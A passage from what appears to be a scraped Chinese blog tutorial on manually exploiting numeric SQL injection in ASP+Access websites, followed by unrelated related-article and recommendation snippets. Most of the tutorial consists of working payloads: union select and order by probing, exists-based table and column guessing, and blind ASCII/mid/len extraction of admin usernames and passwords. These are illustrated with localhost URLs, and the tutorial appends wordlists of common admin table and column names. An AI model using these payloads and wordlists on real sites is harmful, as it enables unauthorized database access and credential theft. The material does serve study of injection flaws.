SQL注入系列之ASP+ACCESS手动注入(一)----数字型

2023-11-05

一、access数据库


1.简介


Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点,是 Microsoft Office 的系统程序之一。

Microsoft Office Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。它是微软OFFICE的一个成员, 在包括专业版和更高版本的office版本里面被单独出售。2012年12月4日,最新的微软Office Access 2013在微软Office 2013里发布,微软Office Access 2010 是前一个版本。

MS ACCESS以它自己的格式将数据存储在基于Access Jet的数据库引擎里。它还可以直接导入或者链接数据(这些数据存储在其他应用程序和数据库)。


2.access数据库结构

access数据库是这么个结构: 表名---->列名---->内容数据 他不像其他的数据库一样、里面创建多个数据库然后才是表再是内容、而access的话只有一个库若干张表。


3.access如何查看


可以安装office套件进行查看、或者可以通过别的工具、如DbView、Easy Access等。


4.测试所使用的的表


使用DbView打开Database目录下#Data.mdb文件




点击admin表进行查看






二、测试SQL注入



access注入基本流程:


1.判断有无注入

2.猜解表名

3.猜解字段

4.猜解管理员ID值

5.猜解用户名和密码长度

6.解用户名和密码



常见的查询方式:


(1)、联合查询法(速度快,兼容性不好)


        and 1=1 and 1=2 ——判断注入


        order by 22  ——猜有多少列(22正确,23错误,则为22个)

        union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin ——猜表名(报错说明表名不存在,将admin换成别的继续猜)


        union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  from admin ——猜列名(列名位置放置页面上显示的数字位置上)(报错说明列名不存在,换列明继续猜)(列名猜对后及出账号密码)


(2)、逐字猜解法(速度慢,兼容性好)啊D明小子就是采用这种方法



        and 1=1 and 1=2 ——判断注入

        and exists (select * from admin) ——猜表名

        and exists (select user_name from admin) ——猜列名

        查数据:1.确定长度 2.确定asc数据(asc编码)

        and (select top 1 len(user_name ) from admin)=5(user_name 的长度=5,正常则=5,也可以用>,<号去判断)

        and (select top 1 asc(mid(user_name ,1,1)) from admin)=97 判断第一位(97代表‘a’的ascll值)

        and (select top 1 asc(mid(user_name ,2,1)) from admin)=97 判断第二位

        (user_name =admin 第一位a 第二位d 第三位m 第四位i 第五位n pass_word=a48e190fafc257d3)



1.判断有无注入


总结起来有以下四种判断方法:


粗略型:提交单引号'
逻辑型(数字型注入):and 1=1/and 1=2
逻辑型(字符型注入):' and '1'='1/' and '1'='2
逻辑型(搜索型注入):%' and 1=1 and '%'='%/%' and 1=2 and '%'='%


最常用的寻找SQL注入点的方法,是在网站中寻找如下形式的页面链接:http://www.xxx.com/xxx.asp?id=YY 其中“YY”可能是数字,也有可能是字符串,分别被称为整数类型数据或者字符型数据。


通常可以使用以下两种方法进行检测,判断该页面链接是否存在SQL注入漏洞。


1.1 “加引号”法


方法一


在浏览器地址栏中的页面链接地址后面增加一个单引号,如下所示:http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513'
然后访问该链接地址,浏览器可能会返回类似于下面的错误提示信息:


Microsoft OLE DB Provider for ODBC Drivers '80040e14'
[Microsoft][ODBC Microsoft Access 驱动程序] 字符串的语法错误 在查询表达式 'id=1513'' 中。
\wwwroot\sql\Production\PRODUCT_DETAIL.asp, line 5



如图所示,页面中如果返回了类似的错误信息,说明该网站可能存在SQL注入攻击的漏洞。



方法二


有很多的网站都过滤了单引号,我们就可以在id变量后面输入"-1",比如: http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513-1,就会返回一个不同的正常界面,因为就相当输入了http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1512





1.2 “1=1和1=2”法


  “加引号”法很直接,也很简单,但是对SQL注入有一定了解的程序员在编写程序时,都会将单引号过滤掉。如果再使用单引号测试,就无法检测到注入点了。这时,就可以使用经典的“1=1和1=2”法进行检测。


  如果正常页面链接地址为:http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513,在浏览器中分别输入以下两个链接地址,分别查看它们返回的结果值。


  Ø http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 1=1。
  Ø http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 1=2。


  如果存在注入点的话,浏览器将会分别显示为:


  Ø 正常显示,内容与正常页面显示的结果基本相同。




  Ø 提示BOF或EOF(程序没做任何判断时),或提示找不到记录,或显示内容为空(程序加了on error resume next)




原理就是:看他有没有在数据库中执行过,and 1=1 永远为真所以页面返回正常,and 1=2永远为假所以返回的结果会出错,根据他的结果来判断有没有sql注入。



2.猜解表名



在地址后面加上:


方法一


and 0<>(select count(*) from 表名) 


(<>:不等于), count是统计的函数,统计表中的所有字段。如果admin不存在,那么(select count(*) from admin)为假,即0.则0<>0(0不等于0),为假,所以导致返回结果出错。若存在admin,则0<>1成立,结果为真。



方法二


and exists (select * from 表名)


exists:指定一个子查询,检测行的存在。返回的结果类型为布尔型。  

and exists (select * from admin):用exists判断select * from admin的结果是否为真。 

select * from admin:查询admin表里面的全部数据。      


注:exists不能猜内容,猜admin表的内容:and (select * from admin) 


来判断此数据库是否存在admin表,若存在,就返回正常,反之错误。


列:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and 0<>(select count(*) from admin)






http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select * from admin)



PS:

1、猜到表名猜不到列名:采用access偏移注入
2、猜不到表名或列名:(1)社工(如:www.xxxxx.com/ck_news.asp?id=xxx,那么就可以猜ck_username)
                                   (2)用各种工具试一下(因为每个工具字典不同)
                                   (3)看后台源代码(看表单的name,可能列明表名就是相应的name)

3、参考下面附录b中的常用的一些表名与列名


3.猜解字段


方法一


在注入点后面加 and exists (select id from admin),若页面返回正常,就说明admin 表里存在id这个字段。然后输入 and exists (select username from admin)和and  exists (select password from admin),均返回正常的话,就说明存在username和password字段。


列:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin)



4.猜解管理员ID值


方法一


在注入点后面加 and exists (select id from admin where id=1),若返回错误页面,就说 明不存在id=1的帐号,然后继续猜id=2。直到返回正常的页面




http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where id=39)



5.猜解用户名和密码长度


方法一


若前面已猜出存在id=39的帐号,则继续输入 and exists (select id from admin where len (admin) <6 and id=39),页面返回正常,就说明username字段长度小于6


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) <6 and id=39)


然后继续and exists (select id from admin where len (admin) <5 and id=39),若返回错误,


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) <5 and id=39)



就尝试and exists (select id from admin where len (admin) =5 and id=39),返回正常,就说明username字段长度为5位。


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and exists (select id from admin where len (admin) =5 and id=39)



猜password字段方法类似:and exists  (select id form admin where len(password)<5 and id =39).



方法二


and(Select top 1 len(列名) from 表名)>N


(TOP表示把最前面的一条记录提取出来;N为变换猜解的列长度,页面错误即说明该列长度为N)

如:


and 1=(select count(*) from admin where len(name)>6) 错误


and 1=(select count(*) from admin where len(name)>5) 正确


则表示admin表中name字段的第一条记录的长度是6。


6.猜解用户名和密码


猜解每一位数据ascii码语句:


and (select top 1 asc(mid(列名,1,1)) from 表名)>0


asc函数的功能是将字符转换成ascii码。

mid函数的功能是截取 admin字段值的字串。从第一位开始,截取的长度为1.这句话的意思是猜测第一个字的ascii码是否大于0,若返回正常就继续猜,


附上一张ascii码表:




列:


and (select top 1 asc(mid(admin,1,1))from admin)>101 不显示


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)>101



继续and (select top 1 asc(mid(admin,1,1))from admin)<100,返回正常,就说明在0-100之间,然后继续缩小范围


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<100



and (select top 1 asc(mid(admin,1,1))from admin)<97 返回错误,


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<97



然后and (select top 1 asc(mid(admin,1,1)) from admin)=97,返回正常,说明第一位的ascii码的值为97,即a。


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1)) from admin)=97



然后猜第二位and (select top 1 asc(mid(admin,1,1))from admin)>50


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)>50



继续 and (select top 1 asc(mid(admin,1,1))from admin)<100 时不显示


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,1,1))from admin)<100



继续 and (select top 1 asc(mid(admin,2,1))from admin)=100 时显示


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 and (select top 1 asc(mid(admin,2,1))from admin)=100



对照ascii码为结果d,然后再继续猜后面几位、密码为:admin


注意:
因为MD5的密文长度通常有16位、18位、32位、40位等几种,所以猜解密码的时候试一试15、16、17、18、31、32、39、40等长度可以加快猜解进度。




附录A


另外一种access注入方式:



1.猜字段:猜字段就是看他一张表里有多少个列,语句为order by +数字 如果猜对了页面正常显示(只要猜的数量少于实际数就会正常,猜的数量大于实际数就会报错),如果没猜对就会出错。


列:


方法一


order by(排序) 22


页面显示正常:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 22



少于实际数也正常:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 20



如果大于实际的数据的话就会报错:


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 order by 23



方法二


使用union语句下面会有介绍


在地址后面加入 union select 22个unll、没报错说明表的字段为22


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin



如果少一个或多一个null就会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin




2.猜表名:猜表名是根据字段的多少来进行的,语句为union select 12.... from一个表名


SQL UNION 操作符


UNION 操作符用于合并两个或多个 SELECT 语句的结果集、基本语法如下:


select column-1 column-2 from table-1 UNION select column-1 column-2 from table-2



如果应用程序返回了第一条查询得到的数据,我们就可以在第一条查询后面注入一个UNION运算符来添加一个任意查询,来提取数据,是不是很容易啊,当然在使用UNION之前我们必须要满足两个条件:


Ø 两个查询返回的列数必须相同
Ø 两个查询语句对于列返回的数据类型必须相同


请注意:UNION 内部的 SELECT 语句必须拥有相同数量的列、列也必须拥有相似的数据类型、同时、每条 SELECT 语句中的列的顺序必须相同、默认地、UNION 操作符选取不同的值、即UNION是去了重复的、如果允许重复的值、请使用 UNION ALL。


得到上面的表字段数之和就可以猜表名了


列:


如果输入一个不存在的表名就会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from user




如果输入一个存在的就不会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from admin



通过null查出来的表、不会显示、两个uion之后、前一条语句是否有第二条语句共同的字段、通过数字的形式可以查询共同的字段如


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22  from admin



得到两个数字3,15说明admin表中有两个和前面语句列表相同的字段。


3.猜列名与内容:


把上面得到的那两个数字中替换成表中的用户名与密码字段名



http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,username,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin




输入一个存在的列名就不会报错


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin



然后去猜密码列名把15那个位置替换成密码列名


http://localhost:8003/Production/PRODUCT_DETAIL.asp?id=1513 union select 1,2,admin,4,5,6,7,8,9,10,11,12,13,14,password,16,17,18,19,20,21,22 from admin





附录B


常用的表名与列名


常用表名:


admin
a_admin
x_admin
m_admin
adminuser
admin_user
areicle_admin
adminisrearor
manage
manager
member
memberlist
user
users
Manage_User
user_info
admin_userinfo
UserGroups
user_list
login
用户
Friend
zl
movie
news
password
clubconfig
config
company
book
art
dv_admin
userinfo



常用列名:


username
adminusername
admin_username
adminname
admin_name
admin
adminuser
admin_user
usrname
usr_name
user_admin
password
admin_password
administrator
administrarors
adminpassword
adminpwd
admin_pwd
adminpass
admin_pass
usrpass
usr_pass
user
name
pass
userpass
user_pass
userpassword
user_password
pwd
userpwd
user_pwd
useradmin
pword
p_word
pass-wd
yonghu
用户
用户名
密码
帐号
id
uid
userid
user_id
adminid
admin_id
login_name

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQL注入系列之ASP+ACCESS手动注入(一)----数字型 的相关文章

  • 自动提取数据 - Oracle SQL Developer

    我通过 SQL Developer 连接到 Oracle 数据库 我想编写一个返回每月数据集的查询 然后将该数据提取到分隔文本文件中 我知道如何做到这一点就好了 我想知道是否有一种方法可以编写一个脚本来运行查询并在一年内逐月提取数据 这样我
  • 如何引用下一行的数据?

    我正在 PostgreSQL 9 2 中编写一个函数 对于股票价格和日期的表 我想计算每个条目较前一天的百分比变化 对于最早一天的数据 不会有前一天 因此该条目可以简单地为 Nil 我知道WITH声明可能不应该高于IF陈述 到目前为止 这就
  • 自动删除主键序列中的间隙

    我正在创建一个网页 该网页根据用户操作将数据存储到 MySQL 数据库中 数据库有很多行 行的主键是列 rowID 它只是按顺序对行进行编号 例如 1 2 3 4 用户可以选择删除行 问题是当用户删除最后一行以外的行时 rowID 中有一个
  • 一个表可以有多个主键吗?

    我现在很困惑 也许你可以帮助我更好地理解这个问题 即一个表可以有两个主键 如果是 那么如何 如果没有 那为什么 您询问是否可以有多个主键field你当然可以 您只能有一个主键 但它可以包含唯一标识行所需的任意数量的列 创建表时使用类似这样的
  • 包含列和行总计的 SQL 数据透视表

    我正在尝试将行和列总计添加到该数据透视表中 create table test4 city nvarchar 10 race nvarchar 30 sex nvarchar 10 age int insert into test4 val
  • postgresql:插入...(选择*...)

    我不确定它是否是标准 SQL INSERT INTO tblA SELECT id time FROM tblB WHERE time gt 1000 我正在寻找的是 如果 tblA 和 tblB 位于不同的数据库服务器中怎么办 Postg
  • Oracle SQL 函数中可以有 commit 语句吗

    在 SQL 函数中使用 COMMIT 语句是否可能 有意义 从技术上来说 答案是肯定的 你can请执行下列操作 create or replace function committest return number as begin upd
  • 如何拥有引用另一个表的检查约束?

    我在 SQL Server 2008 数据库中有以下表 tblItem 其中有一个ItemID field 好项目 它还有一个 ItemID 字段 并且有一个指向 tblItem 的外键 tblBadItem 它也有一个 ItemID 字段
  • 如何使用原始 SQL 查询实现搜索功能

    我正在创建一个由 CS50 的网络系列指导的应用程序 这要求我仅使用原始 SQL 查询而不是 ORM 我正在尝试创建一个搜索功能 用户可以在其中查找存储在数据库中的书籍列表 我希望他们能够查询 书籍 表中的 ISBN 标题 作者列 目前 它
  • 在Oracle中使用IW和MM

    我使用 IW 表示每周结果 使用 MM 表示每月结果 但我总是收到错误 ORA 00979 not a GROUP BY expression 00979 00000 not a GROUP BY expression 我的疑问是这些 We
  • ORA-12728: 正则表达式中的范围无效

    我想检查表中是否插入了有效的电话号码 所以我的触发代码在这里 select start index into mob index from gmarg mobile operators where START INDEX substr ne
  • SQL Server使用in关键字传递字符串数组查询

    我认为 IN 子句不能接受具有多个值的绑定参数 Oracle 不能 需要几分钟 查询是 declare setting varchar max set setting Sales Entry Grid Cursor Customer Man
  • 通过 C# SqlCommand 执行合并语句不起作用

    我正在第一次尝试使用临时表和MERGE语句通过更新 SQL 表SqlCommandC 中的对象 我正在开发的程序旨在首先将大量记录 最多 20k 导出到 Excel 电子表格中 然后 用户可以搜索并替换特定值 并根据需要更新任意多记录中的任
  • SQL:如何从一个表中获取另一个表中每一行的随机行数

    我有两个数据不相关的表 对于表 A 中的每一行 我想要例如表 B 中的 3 个随机行 使用光标这相当容易 但速度非常慢 那么我该如何用单个语句来表达这一点以避免 RBAR 呢 要获得 0 到 N 1 之间的随机数 可以使用 abs chec
  • SQL Server 查询中 UNION ALL 与 OR 条件

    我必须根据表上不存在的条件选择一些行 如果我使用如下的 union all 它会在不到 1 秒的时间内执行 SELECT 1 FROM dummyTable WHERE NOT EXISTS SELECT 1 FROM TABLE t WH
  • Ruby ActiveRecord 和 sql 元组支持

    ActiveRecord 是否支持 where 子句中的元组 假设底层数据库支持 结果 where 子句看起来像这样 where name address in John 123 Main St I tried Person where n
  • SQL Server 中离线索引重建和在线索引重建有什么区别?

    重建索引时 有一个选项ONLINE OFF and ONLINE ON 我知道当ONLINE模式打开时 它会复制索引 切换新查询以利用它 然后重建原始索引 使用版本控制跟踪两者的更改 如果我错了 请纠正我 但是 SQL 在离线模式下会做什么
  • 查看Jasper报告执行的SQL

    运行 Jasper 报表 其中 SQL 嵌入到报表文件 jrxml 中 时 是否可以看到执行的 SQL 理想情况下 我还想查看替换每个 P 占位符的值 Cheers Don JasperReports 使用 Jakarta Commons
  • 使用用户定义函数 MySql 时出错

    您好 请帮我解决这个问题 提前致谢 我在数据库中定义了这些函数 CREATE FUNCTION levenshtein s1 VARCHAR 255 s2 VARCHAR 255 RETURNS INT DETERMINISTIC BEGI
  • 多边形内的 SQL 地理点在 STIntersect 上不返回 true(但使用 Geometry 返回 true)

    我不想仅仅为了在 STIntersect 中返回 true 而将地理数据转换为几何图形 下面是 SQL 中的代码 DECLARE point GEOGRAPHY GEOGRAPHY Point 1 1 4326 DECLARE polygo

随机推荐

  • navicat premium 连接oracle_详解navicat工具实现Oracle数据库结构同步

    概述 Navicat 是一套快速 可靠并价格相宜的数据库管理工具 专为简化数据库的管理及降低系统管理成本而设 Navicat提供多达 7 种语言供客户选择 被公认为全球最受欢迎的数据库前端用户界面工具 Navicat旗下有多个产品成员 可以
  • Adobe illustrator2022(Ai2022)新增功能

    使用 Adobe Substa nce 材质添加纹理 使用 Substance 材质为图稿添加纹理 并创建逼真的 3D 图形 您可以添加自己的材质 也可以从数以千计的 Sub stance 材质资源中进行选择 无缝激活缺失字体 现在 您可以
  • md5 通用工具类

    目录 Java版本 js版本 简介 MD5加密工具类 效果展示 Java版本 import java security MessageDigest title java MD5工具类 author wanglei21 since 2023
  • 从零到一搭建Kconfig配置系统

    从零到一搭建Kconfig配置系统 背景说明 最早接触到Kconfig是在zephyr项目中 之后陆续知道linux和RT Thread等项目都是用Kconfig来管理编译的 而自己也陆续有大型项目开发需要 了解过后对其使用愈发感兴趣起来
  • 什么是计算卸载

    简言 为了应对终端设备处理能力不足 资源有限等问题 业界在移动边缘计算 MEC 中引入了计算卸载概念 边缘计算卸载即用户终端 UE 将计算任务卸载到MEC网络中 主要解决设备在资源存储 计算性能以及能效等方面的不足 0 1 背景 随着科技的
  • 中兴Blade V2021 5G 刷机root教程 ZTE 8012N root 线刷包下载TWRP 刷入

    中兴Blade V2021 5G 刷机root教程 ZTE 8012N root 线刷包下载TWRP 刷入 中兴 ZTE V2021 5G深空灰 6GB 128GB 全网通4800万高 手机 gt 中兴 gt 中兴Blade V2021 6
  • 【pta打印选课学生(python版) 基于python3.0】

    pta打印选课学生 python版 题目介绍 假设全校有最多40000名学生和最多2500门课程 现给出每个学生的选课清单 要求输出每门课的选课学生名单 输入格式 输入的第一行是两个正整数 N 40000 为全校学生总数 K 2500 为总
  • vditor编辑器上传视频方法详解

    此文章主要讲编辑器上传视频的方法 若想了解vditor更多更详细的使用方法可以参考vue中使用vditor 发布 编辑 详情回显 上传图片 粘贴图片回显问题 表情的处理 1 html div div 2 demo toolbar hotke
  • LINUX:开发中用得较多的一些操作

    目录文件相关 cd命令用来切换工作目录至dirname 其中dirName表示法可为绝对路径或相对路径 若目录名称省略 则变换至使用者的home directory 也就是刚login时所在的目录 另外 也表示为home directory
  • [记录]centos java mysql链接错误

    项目场景 CentOS 7 3 JDK openjdk version 1 8 0 302 Mysql 5 7 35 问题描述 数据库链接错误 Communications link failure Caused by javax net
  • Google Filament 源码学习(五):Material System (四) - 材质系统 API

    目录 Shader public APIs Introduction Types Math Matrices Frame constants Vertex only Fragment only Handling colors Linear
  • android开发图片分辨率

    一直受到android开发图片分辨率问题困扰 drawable xdpi hdpi mdpi ldpi nodpi 这几个文件夹到底怎么放图片呢 dpi是什么呢 dpi是 dot per inch 的缩写 每英寸像素数 四种密度分类 ldp
  • OpenCV人脸检测及识别(深度学习)

    简介 最近做了一个人脸检测以及识别的程序 很多的文章都有比较详细的叙述 可以自行查找 但是个人觉得大部分文章都太细致了以至于初学者无法快速领会主干 不是否认质量 是侧重点问题 所以结合我遇到了一些问题 现在做个总结 本文主要叙述实现的思路
  • Batch Processing

    在学习HOG SVM实现手写识别算法的过程中 看到对图片库文件夹提取文件名及标签的操作 即生成一个文本文件 按照文件名 标签的格式依次存储 为换行的意思 zaza Ji轻度强迫症 捣饬了半天才写出了个一行的批处理代码 我也是醉了 仅此留个纪
  • 如何实现apex的安装工作?

    1 具体的apex安装步骤 swav luanhaijing gpu02 extract swav feature git clone https github com ptrblck apex git Cloning into apex
  • VSCODE CMAKE C++ 工程调试, C++不以科学计数法输出并控制小数位数

    1 VSCODE调试CMAKE工程配置 1 1 修改CMakeLists txt文件 1 2 程序中 1 3 launch json配置 1 4 开始调试 1 5 注意 2 C 设置输出浮点数且保留位数固定 1 VSCODE调试CMAKE工
  • 通过 rqt_plot 完成ATI F/T 力和力矩传感器六轴数据可视化

    基于该篇博客https blog csdn net qq 34935373 article details 103481401 实现了通过ROS节点的方式启动ATI sensor 完成配置归零和设置软件矢量偏移 并且获取六轴数据 实时的打印
  • Linux:运行存在的可执行文件提示 No such file or directory

    1 前言 限于作者能力水平 本文可能存在谬误 因此而给读者带来的损失 作者不做任何承诺 2 背景 本文分析基于 linux 4 14 132 上游代码 运行环境为 Ubuntu 16 04 4 LTS QEMU Arm vexpress a
  • HTTP参数污染攻击

    服务器两层架构 服务器端有两个部分 第一部分为tomcat为引擎的jsp型服务器 第二部分为apache为引擎的php服务器 真正提供web服务器的是php服务器 工作流程为 client访问服务器能直接访问到tomcat服务器 然后tom
  • SQL注入系列之ASP+ACCESS手动注入(一)----数字型

    一 access数据库 1 简介 Microsoft Office Access是由微软发布的关系数据库管理系统 它结合了 MicrosoftJet Database Engine 和 图形用户界面两项特点 是 Microsoft Offi